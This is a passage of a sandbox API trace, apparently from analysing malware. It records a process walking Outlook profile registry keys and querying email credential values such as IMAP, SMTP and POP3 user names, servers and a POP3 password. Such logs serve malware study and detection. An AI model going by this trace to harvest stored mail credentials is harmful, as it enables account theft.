lpcbData=0xeec60*=0x0) returned 0x2 [0054.999] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.999] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20019, phkResult=0xeecbc | out: phkResult=0xeecbc*=0x3e8) returned 0x0 [0054.999] RegQueryValueExA (in: hKey=0x3e8, lpValueName="IMAP Server", lpReserved=0x0, lpType=0xeecb4, lpData=0x0, lpcbData=0xeecb8*=0x0 | out: lpType=0xeecb4*=0x0, lpData=0x0, lpcbData=0xeecb8*=0x0) returned 0x2 [0054.999] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.999] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20219, phkResult=0xeec90 | out: phkResult=0xeec90*=0x3e8) returned 0x0 [0054.999] RegQueryValueExA (in: hKey=0x3e8, lpValueName="IMAP Server", lpReserved=0x0, lpType=0xeec88, lpData=0x0, lpcbData=0xeec8c*=0xeec74 | out: lpType=0xeec88*=0x0, lpData=0x0, lpcbData=0xeec8c*=0x0) returned 0x2 [0054.999] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.999] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20119, phkResult=0xeec64 | out: phkResult=0xeec64*=0x3e8) returned 0x0 [0054.999] RegQueryValueExA (in: hKey=0x3e8, lpValueName="IMAP Server", lpReserved=0x0, lpType=0xeec5c, lpData=0x0, lpcbData=0xeec60*=0xeec48 | out: lpType=0xeec5c*=0x0, lpData=0x0, lpcbData=0xeec60*=0x0) returned 0x2 [0054.999] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.999] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20019, phkResult=0xeecbc | out: phkResult=0xeecbc*=0x3e8) returned 0x0 [0054.999] RegQueryValueExA (in: hKey=0x3e8, lpValueName="IMAP User Name", lpReserved=0x0, lpType=0xeecb4, lpData=0x0, lpcbData=0xeecb8*=0x0 | out: lpType=0xeecb4*=0x0, lpData=0x0, lpcbData=0xeecb8*=0x0) returned 0x2 [0054.999] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.999] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20219, phkResult=0xeec90 | out: phkResult=0xeec90*=0x3e8) returned 0x0 [0054.999] RegQueryValueExA (in: hKey=0x3e8, lpValueName="IMAP User Name", lpReserved=0x0, lpType=0xeec88, lpData=0x0, lpcbData=0xeec8c*=0xeec74 | out: lpType=0xeec88*=0x0, lpData=0x0, lpcbData=0xeec8c*=0x0) returned 0x2 [0054.999] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.999] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20119, phkResult=0xeec64 | out: phkResult=0xeec64*=0x3e8) returned 0x0 [0054.999] RegQueryValueExA (in: hKey=0x3e8, lpValueName="IMAP User Name", lpReserved=0x0, lpType=0xeec5c, lpData=0x0, lpcbData=0xeec60*=0xeec48 | out: lpType=0xeec5c*=0x0, lpData=0x0, lpcbData=0xeec60*=0x0) returned 0x2 [0054.999] RegCloseKey (hKey=0x3e8) returned 0x0 [0054.999] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20019, phkResult=0xeecbc | out: phkResult=0xeecbc*=0x3e8) returned 0x0 [0055.000] RegQueryValueExA (in: hKey=0x3e8, lpValueName="Email", lpReserved=0x0, lpType=0xeecb4, lpData=0x0, lpcbData=0xeecb8*=0x0 | out: lpType=0xeecb4*=0x0, lpData=0x0, lpcbData=0xeecb8*=0x0) returned 0x2 [0055.000] RegCloseKey (hKey=0x3e8) returned 0x0 [0055.000] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20219, phkResult=0xeec90 | out: phkResult=0xeec90*=0x3e8) returned 0x0 [0055.000] RegQueryValueExA (in: hKey=0x3e8, lpValueName="Email", lpReserved=0x0, lpType=0xeec88, lpData=0x0, lpcbData=0xeec8c*=0xeec74 | out: lpType=0xeec88*=0x0, lpData=0x0, lpcbData=0xeec8c*=0x0) returned 0x2 [0055.000] RegCloseKey (hKey=0x3e8) returned 0x0 [0055.000] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20119, phkResult=0xeec64 | out: phkResult=0xeec64*=0x3e8) returned 0x0 [0055.000] RegQueryValueExA (in: hKey=0x3e8, lpValueName="Email", lpReserved=0x0, lpType=0xeec5c, lpData=0x0, lpcbData=0xeec60*=0xeec48 | out: lpType=0xeec5c*=0x0, lpData=0x0, lpcbData=0xeec60*=0x0) returned 0x2 [0055.000] RegCloseKey (hKey=0x3e8) returned 0x0 [0055.000] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20019, phkResult=0xeecbc | out: phkResult=0xeecbc*=0x3e8) returned 0x0 [0055.000] RegQueryValueExA (in: hKey=0x3e8, lpValueName="HTTP User", lpReserved=0x0, lpType=0xeecb4, lpData=0x0, lpcbData=0xeecb8*=0x0 | out: lpType=0xeecb4*=0x0, lpData=0x0, lpcbData=0xeecb8*=0x0) returned 0x2 [0055.000] RegCloseKey (hKey=0x3e8) returned 0x0 [0055.000] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20219, phkResult=0xeec90 | out: phkResult=0xeec90*=0x3e8) returned 0x0 [0055.000] RegQueryValueExA (in: hKey=0x3e8, lpValueName="HTTP User", lpReserved=0x0, lpType=0xeec88, lpData=0x0, lpcbData=0xeec8c*=0xeec74 | out: lpType=0xeec88*=0x0, lpData=0x0, lpcbData=0xeec8c*=0x0) returned 0x2 [0055.000] RegCloseKey (hKey=0x3e8) returned 0x0 [0055.000] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20119, phkResult=0xeec64 | out: phkResult=0xeec64*=0x3e8) returned 0x0 [0055.000] RegQueryValueExA (in: hKey=0x3e8, lpValueName="HTTP User", lpReserved=0x0, lpType=0xeec5c, lpData=0x0, lpcbData=0xeec60*=0xeec48 | out: lpType=0xeec5c*=0x0, lpData=0x0, lpcbData=0xeec60*=0x0) returned 0x2 [0055.000] RegCloseKey (hKey=0x3e8) returned 0x0 [0055.000] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20019, phkResult=0xeecbc | out: phkResult=0xeecbc*=0x3e8) returned 0x0 [0055.000] RegQueryValueExA (in: hKey=0x3e8, lpValueName="HTTP Server URL", lpReserved=0x0, lpType=0xeecb4, lpData=0x0, lpcbData=0xeecb8*=0x0 | out: lpType=0xeecb4*=0x0, lpData=0x0, lpcbData=0xeecb8*=0x0) returned 0x2 [0055.000] RegCloseKey (hKey=0x3e8) returned 0x0 [0055.000] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20219, phkResult=0xeec90 | out: phkResult=0xeec90*=0x3e8) returned 0x0 [0055.000] RegQueryValueExA (in: hKey=0x3e8, lpValueName="HTTP Server URL", lpReserved=0x0, lpType=0xeec88, lpData=0x0, lpcbData=0xeec8c*=0xeec74 | out: lpType=0xeec88*=0x0, lpData=0x0, lpcbData=0xeec8c*=0x0) returned 0x2 [0055.001] RegCloseKey (hKey=0x3e8) returned 0x0 [0055.001] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20119, phkResult=0xeec64 | out: phkResult=0xeec64*=0x3e8) returned 0x0 [0055.001] RegQueryValueExA (in: hKey=0x3e8, lpValueName="HTTP Server URL", lpReserved=0x0, lpType=0xeec5c, lpData=0x0, lpcbData=0xeec60*=0xeec48 | out: lpType=0xeec5c*=0x0, lpData=0x0, lpcbData=0xeec60*=0x0) returned 0x2 [0055.001] RegCloseKey (hKey=0x3e8) returned 0x0 [0055.001] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20019, phkResult=0xeecbc | out: phkResult=0xeecbc*=0x3e8) returned 0x0 [0055.001] RegQueryValueExA (in: hKey=0x3e8, lpValueName="POP3 User", lpReserved=0x0, lpType=0xeecb4, lpData=0x0, lpcbData=0xeecb8*=0x0 | out: lpType=0xeecb4*=0x0, lpData=0x0, lpcbData=0xeecb8*=0x0) returned 0x2 [0055.001] RegCloseKey (hKey=0x3e8) returned 0x0 [0055.001] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20219, phkResult=0xeec90 | out: phkResult=0xeec90*=0x3e8) returned 0x0 [0055.001] RegQueryValueExA (in: hKey=0x3e8, lpValueName="POP3 User", lpReserved=0x0, lpType=0xeec88, lpData=0x0, lpcbData=0xeec8c*=0xeec74 | out: lpType=0xeec88*=0x0, lpData=0x0, lpcbData=0xeec8c*=0x0) returned 0x2 [0055.001] RegCloseKey (hKey=0x3e8) returned 0x0 [0055.001] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20119, phkResult=0xeec64 | out: phkResult=0xeec64*=0x3e8) returned 0x0 [0055.001] RegQueryValueExA (in: hKey=0x3e8, lpValueName="POP3 User", lpReserved=0x0, lpType=0xeec5c, lpData=0x0, lpcbData=0xeec60*=0xeec48 | out: lpType=0xeec5c*=0x0, lpData=0x0, lpcbData=0xeec60*=0x0) returned 0x2 [0055.001] RegCloseKey (hKey=0x3e8) returned 0x0 [0055.001] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20019, phkResult=0xeecbc | out: phkResult=0xeecbc*=0x3e8) returned 0x0 [0055.001] RegQueryValueExA (in: hKey=0x3e8, lpValueName="IMAP User", lpReserved=0x0, lpType=0xeecb4, lpData=0x0, lpcbData=0xeecb8*=0x0 | out: lpType=0xeecb4*=0x0, lpData=0x0, lpcbData=0xeecb8*=0x0) returned 0x2 [0055.001] RegCloseKey (hKey=0x3e8) returned 0x0 [0055.001] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20219, phkResult=0xeec90 | out: phkResult=0xeec90*=0x3e8) returned 0x0 [0055.001] RegQueryValueExA (in: hKey=0x3e8, lpValueName="IMAP User", lpReserved=0x0, lpType=0xeec88, lpData=0x0, lpcbData=0xeec8c*=0xeec74 | out: lpType=0xeec88*=0x0, lpData=0x0, lpcbData=0xeec8c*=0x0) returned 0x2 [0055.001] RegCloseKey (hKey=0x3e8) returned 0x0 [0055.001] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20119, phkResult=0xeec64 | out: phkResult=0xeec64*=0x3e8) returned 0x0 [0055.001] RegQueryValueExA (in: hKey=0x3e8, lpValueName="IMAP User", lpReserved=0x0, lpType=0xeec5c, lpData=0x0, lpcbData=0xeec60*=0xeec48 | out: lpType=0xeec5c*=0x0, lpData=0x0, lpcbData=0xeec60*=0x0) returned 0x2 [0055.001] RegCloseKey (hKey=0x3e8) returned 0x0 [0055.001] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20019, phkResult=0xeecbc | out: phkResult=0xeecbc*=0x3e8) returned 0x0 [0055.002] RegQueryValueExA (in: hKey=0x3e8, lpValueName="HTTPMail User Name", lpReserved=0x0, lpType=0xeecb4, lpData=0x0, lpcbData=0xeecb8*=0x0 | out: lpType=0xeecb4*=0x0, lpData=0x0, lpcbData=0xeecb8*=0x0) returned 0x2 [0055.002] RegCloseKey (hKey=0x3e8) returned 0x0 [0055.002] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20219, phkResult=0xeec90 | out: phkResult=0xeec90*=0x3e8) returned 0x0 [0055.002] RegQueryValueExA (in: hKey=0x3e8, lpValueName="HTTPMail User Name", lpReserved=0x0, lpType=0xeec88, lpData=0x0, lpcbData=0xeec8c*=0xeec74 | out: lpType=0xeec88*=0x0, lpData=0x0, lpcbData=0xeec8c*=0x0) returned 0x2 [0055.002] RegCloseKey (hKey=0x3e8) returned 0x0 [0055.002] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20119, phkResult=0xeec64 | out: phkResult=0xeec64*=0x3e8) returned 0x0 [0055.002] RegQueryValueExA (in: hKey=0x3e8, lpValueName="HTTPMail User Name", lpReserved=0x0, lpType=0xeec5c, lpData=0x0, lpcbData=0xeec60*=0xeec48 | out: lpType=0xeec5c*=0x0, lpData=0x0, lpcbData=0xeec60*=0x0) returned 0x2 [0055.002] RegCloseKey (hKey=0x3e8) returned 0x0 [0055.002] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20019, phkResult=0xeecbc | out: phkResult=0xeecbc*=0x3e8) returned 0x0 [0055.002] RegQueryValueExA (in: hKey=0x3e8, lpValueName="HTTPMail Server", lpReserved=0x0, lpType=0xeecb4, lpData=0x0, lpcbData=0xeecb8*=0x0 | out: lpType=0xeecb4*=0x0, lpData=0x0, lpcbData=0xeecb8*=0x0) returned 0x2 [0055.002] RegCloseKey (hKey=0x3e8) returned 0x0 [0055.002] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20219, phkResult=0xeec90 | out: phkResult=0xeec90*=0x3e8) returned 0x0 [0055.002] RegQueryValueExA (in: hKey=0x3e8, lpValueName="HTTPMail Server", lpReserved=0x0, lpType=0xeec88, lpData=0x0, lpcbData=0xeec8c*=0xeec74 | out: lpType=0xeec88*=0x0, lpData=0x0, lpcbData=0xeec8c*=0x0) returned 0x2 [0055.002] RegCloseKey (hKey=0x3e8) returned 0x0 [0055.002] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20119, phkResult=0xeec64 | out: phkResult=0xeec64*=0x3e8) returned 0x0 [0055.002] RegQueryValueExA (in: hKey=0x3e8, lpValueName="HTTPMail Server", lpReserved=0x0, lpType=0xeec5c, lpData=0x0, lpcbData=0xeec60*=0xeec48 | out: lpType=0xeec5c*=0x0, lpData=0x0, lpcbData=0xeec60*=0x0) returned 0x2 [0055.002] RegCloseKey (hKey=0x3e8) returned 0x0 [0055.002] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20019, phkResult=0xeecbc | out: phkResult=0xeecbc*=0x3e8) returned 0x0 [0055.002] RegQueryValueExA (in: hKey=0x3e8, lpValueName="SMTP User", lpReserved=0x0, lpType=0xeecb4, lpData=0x0, lpcbData=0xeecb8*=0x0 | out: lpType=0xeecb4*=0x0, lpData=0x0, lpcbData=0xeecb8*=0x0) returned 0x2 [0055.002] RegCloseKey (hKey=0x3e8) returned 0x0 [0055.002] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20219, phkResult=0xeec90 | out: phkResult=0xeec90*=0x3e8) returned 0x0 [0055.003] RegQueryValueExA (in: hKey=0x3e8, lpValueName="SMTP User", lpReserved=0x0, lpType=0xeec88, lpData=0x0, lpcbData=0xeec8c*=0xeec74 | out: lpType=0xeec88*=0x0, lpData=0x0, lpcbData=0xeec8c*=0x0) returned 0x2 [0055.003] RegCloseKey (hKey=0x3e8) returned 0x0 [0055.003] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20119, phkResult=0xeec64 | out: phkResult=0xeec64*=0x3e8) returned 0x0 [0055.003] RegQueryValueExA (in: hKey=0x3e8, lpValueName="SMTP User", lpReserved=0x0, lpType=0xeec5c, lpData=0x0, lpcbData=0xeec60*=0xeec48 | out: lpType=0xeec5c*=0x0, lpData=0x0, lpcbData=0xeec60*=0x0) returned 0x2 [0055.003] RegCloseKey (hKey=0x3e8) returned 0x0 [0055.003] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20019, phkResult=0xeecbc | out: phkResult=0xeecbc*=0x3e8) returned 0x0 [0055.003] RegQueryValueExA (in: hKey=0x3e8, lpValueName="POP3 Password2", lpReserved=0x0, lpType=0xeecb4, lpData=0x0, lpcbData=0xeecb8*=0x0 | out: lpType=0xeecb4*=0x0, lpData=0x0, lpcbData=0xeecb8*=0x0) returned 0x2 [0055.003] RegCloseKey (hKey=0x3e8) returned 0x0 [0055.003] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\\00000003", ulOptions=0x0, samDesired=0x20219, phkResult=0xeec90 | out: phkResult=0xeec90*=0x3e8) returned 0x0 [0055.003] RegQueryValueExA (in: hKey=0x3e8, lpValueName="POP3 Password2", lpReserved=0x0, lpType=0xeec88, lpData=0x0, lpcbData=0xeec8c*=0xeec74 | out: lpType=0xeec88*=0x0, lpData=0x0, lpcbData=0xeec8c*=0x0) returned 0x2 [0055.004] RegEnumKeyExA (in: hKey=0x3e0, dwIndex=0x3, lpName=0xeed24, lpcchName=0xef524, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="00000003", lpcchName=0xef524, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0055.004] RegEnumKeyExA (in: hKey=0x3e4, dwIndex=0xa, lpName=0xef54c, lpcchName=0xefd4c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="a1d7e55f7cf9a243ba916d5f08f9bae8", lpcchName=0xefd4c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0055.004] lstrlenA (lpString="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook") returned 55 [0055.004] lstrlenA (lpString="\\") returned 1 [0055.004] LocalAlloc (uFlags=0x40, uBytes=0xb9) returned 0x74ae40 [0055.004] lstrcpyA (in: lpString1=0x74ae40, lpString2="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook" [0055.004] lstrcatA (in: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook", lpString2="\\" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\" [0055.004] lstrlenA (lpString="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\") returned 56 [0055.004] lstrlenA (lpString="a1d7e55f7cf9a243ba916d5f08f9bae8") returned 32 [0055.004] LocalAlloc (uFlags=0x40, uBytes=0xd9) returned 0x9410768 [0055.004] lstrcpyA (in: lpString1=0x9410768, lpString2="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\" [0055.004] lstrcatA (in: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\", lpString2="a1d7e55f7cf9a243ba916d5f08f9bae8" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\a1d7e55f7cf9a243ba916d5f08f9bae8") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\a1d7e55f7cf9a243ba916d5f08f9bae8" [0055.004] LocalFree (hMem=0x74ae40) returned 0x0 [0055.004] lstrlenA (lpString="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\a1d7e55f7cf9a243ba916d5f08f9bae8") returned 88 [0055.004] lstrlenA (lpString="") returned 0 [0055.004] LocalAlloc (uFlags=0x40, uBytes=0xd9) returned 0x9410850 [0055.004] lstrcpyA (in: lpString1=0x9410850, lpString2="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\a1d7e55f7cf9a243ba916d5f08f9bae8" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\a1d7e55f7cf9a243ba916d5f08f9bae8") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\a1d7e55f7cf9a243ba916d5f08f9bae8" [0055.004] lstrcatA (in: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\a1d7e55f7cf9a243ba916d5f08f9bae8", lpString2="" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\a1d7e55f7cf9a243ba916d5f08f9bae8") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\a1d7e55f7cf9a243ba916d5f08f9bae8" [0055.004] LocalFree (hMem=0x9410768) returned 0x0 [0055.004] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\a1d7e55f7cf9a243ba916d5f08f9bae8", phkResult=0xef52c | out: phkResult=0xef52c*=0x3e0) returned 0x0 [0055.004] RegEnumKeyExA (in: hKey=0x3e0, dwIndex=0x0, lpName=0xeed24, lpcchName=0xef524, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="00000003", lpcchName=0xef524, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0055.004] RegEnumKeyExA (in: hKey=0x3e4, dwIndex=0xb, lpName=0xef54c, lpcchName=0xefd4c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="a44233f8b7f7d346b14b6c8d0728d9dd", lpcchName=0xefd4c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0055.004] lstrlenA (lpString="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook") returned 55 [0055.004] lstrlenA (lpString="\\") returned 1 [0055.004] LocalAlloc (uFlags=0x40, uBytes=0xb9) returned 0x74ae40 [0055.004] lstrcpyA (in: lpString1=0x74ae40, lpString2="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook" [0055.004] lstrcatA (in: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook", lpString2="\\" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\" [0055.004] lstrlenA (lpString="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\") returned 56 [0055.004] lstrlenA (lpString="a44233f8b7f7d346b14b6c8d0728d9dd") returned 32 [0055.004] LocalAlloc (uFlags=0x40, uBytes=0xd9) returned 0x9410850 [0055.004] lstrcpyA (in: lpString1=0x9410850, lpString2="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\" [0055.004] lstrcatA (in: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\", lpString2="a44233f8b7f7d346b14b6c8d0728d9dd" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\a44233f8b7f7d346b14b6c8d0728d9dd") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\a44233f8b7f7d346b14b6c8d0728d9dd" [0055.004] LocalFree (hMem=0x74ae40) returned 0x0 [0055.004] lstrlenA (lpString="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\a44233f8b7f7d346b14b6c8d0728d9dd") returned 88 [0055.004] lstrlenA (lpString="") returned 0 [0055.004] LocalAlloc (uFlags=0x40, uBytes=0xd9) returned 0x9410768 [0055.004] lstrcpyA (in: lpString1=0x9410768, lpString2="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\a44233f8b7f7d346b14b6c8d0728d9dd" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\a44233f8b7f7d346b14b6c8d0728d9dd") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\a44233f8b7f7d346b14b6c8d0728d9dd" [0055.004] lstrcatA (in: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\a44233f8b7f7d346b14b6c8d0728d9dd", lpString2="" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\a44233f8b7f7d346b14b6c8d0728d9dd") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\a44233f8b7f7d346b14b6c8d0728d9dd" [0055.005] LocalFree (hMem=0x9410850) returned 0x0 [0055.005] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\a44233f8b7f7d346b14b6c8d0728d9dd", phkResult=0xef52c | out: phkResult=0xef52c*=0x3e0) returned 0x0 [0055.005] RegEnumKeyExA (in: hKey=0x3e0, dwIndex=0x0, lpName=0xeed24, lpcchName=0xef524, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: 